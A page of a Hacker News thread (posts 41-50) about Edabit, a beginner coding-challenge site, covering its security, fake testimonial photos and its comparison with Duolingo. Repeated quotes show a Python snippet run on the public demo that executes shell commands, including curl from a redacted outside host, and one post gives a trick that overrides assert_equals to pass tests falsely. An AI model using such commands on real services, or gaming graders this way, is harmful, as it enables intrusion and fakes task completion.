Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

Post reply on HN
Print view View original

41–50 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#41

Post by anonymousJim12 »

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

It's obviously running in a container. I'm not sure your code really shows anything too concerning if they are taking precautions outside of the container to mitigate things like DDoS etc.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#42

Post by css »

I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#43

Post by xtrapolate »

anonymousJim12 wrote: post #41
xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

It's obviously running in a container. I'm not sure your code really shows anything too concerning if they are taking precautions outside of the container to mitigate things like DDoS etc.

Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#44

Post by b3y0nd1337 »

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

Hackerman spotted.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#46

Post by asadlionpk »

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

If this is running inside docker, please consider putting limits or disabling network to the container completely. Using --net=none option.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#47

Post by moftz »

procinct wrote: post #27
dna_polymerase wrote: post #22

Earlier quoted context omitted.

Whoever runs a service that allows running untrusted code in 2018 deserves no responsible disclosure but a punch in the face. It doesn't help if we allow those entities to exist.

Chances are, they are a beginner. This is someone’s side project not a site backed by a huge corporation. They deserve responsible disclosure so they can learn from it.

Its just a fork of codewars

Try typing this before every function (python):

  class Test:
      def assert_equals(*args):
          return True

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#48

Post by olooney »

anonytrary wrote: post #24

I don't understand how this is different from Hackerrank/Leetcode or how it's similar to Duolingo. Can someone explain what the innovation is here over HackerRank or LeetCode?

The claim of similarity to Duolingo seems to be based on the "Practice" tab, which let's you re-solve problems you've already solved once. Duolingo and similar apps use spaced repetition[1] to reinforce lessons which is proven to help retain them permanently in long term memory. However Edabit doesn't seem to implement a very complete system so it probably won't be particularly effective. I also doubt space repetition is helpful for learning to program outside of memorizing APIs and standard libraries, which is 10% of programming at most.

[1]: https://en.wikipedia.org/wiki/Spaced_repetition

As for sites like Leetcode, those are far more mature (wide selection of languages, custom test cases, etc.) with much more interesting challenges. I appears Edabit is targeting beginners and therefore has much shorter, easier challenges which mainly test memory, not knowledge of algorithms or problem solving. Again, not necessarily the aspect of programming that I would encourage beginners to spend their time on compared to understanding basic concepts.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#49

Post by gammateam »

yorwba wrote: post #37
folkrav wrote: post #26

Earlier quoted context omitted.

Duolingo by itself isn't really enough to really learn a language either. Thanks to Duolingo, I can definitely say "the woman eats the apple" in Italian, but I don't understand the language's grammar and its verb conjugation rules enough to build complete sentences.

"The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.

Thats exactly what he was saying. But yes, Duolingo and Memrise take similar approaches at not teaching you anything.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#50

Post by hartator »

procinct wrote: post #17
xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

Responsible disclosure is meant when it can jeopardize user data or user devices. It’s reasonable to assume none of that apply for a brand new service. Specially now everyone is learning from it.
Post reply on HN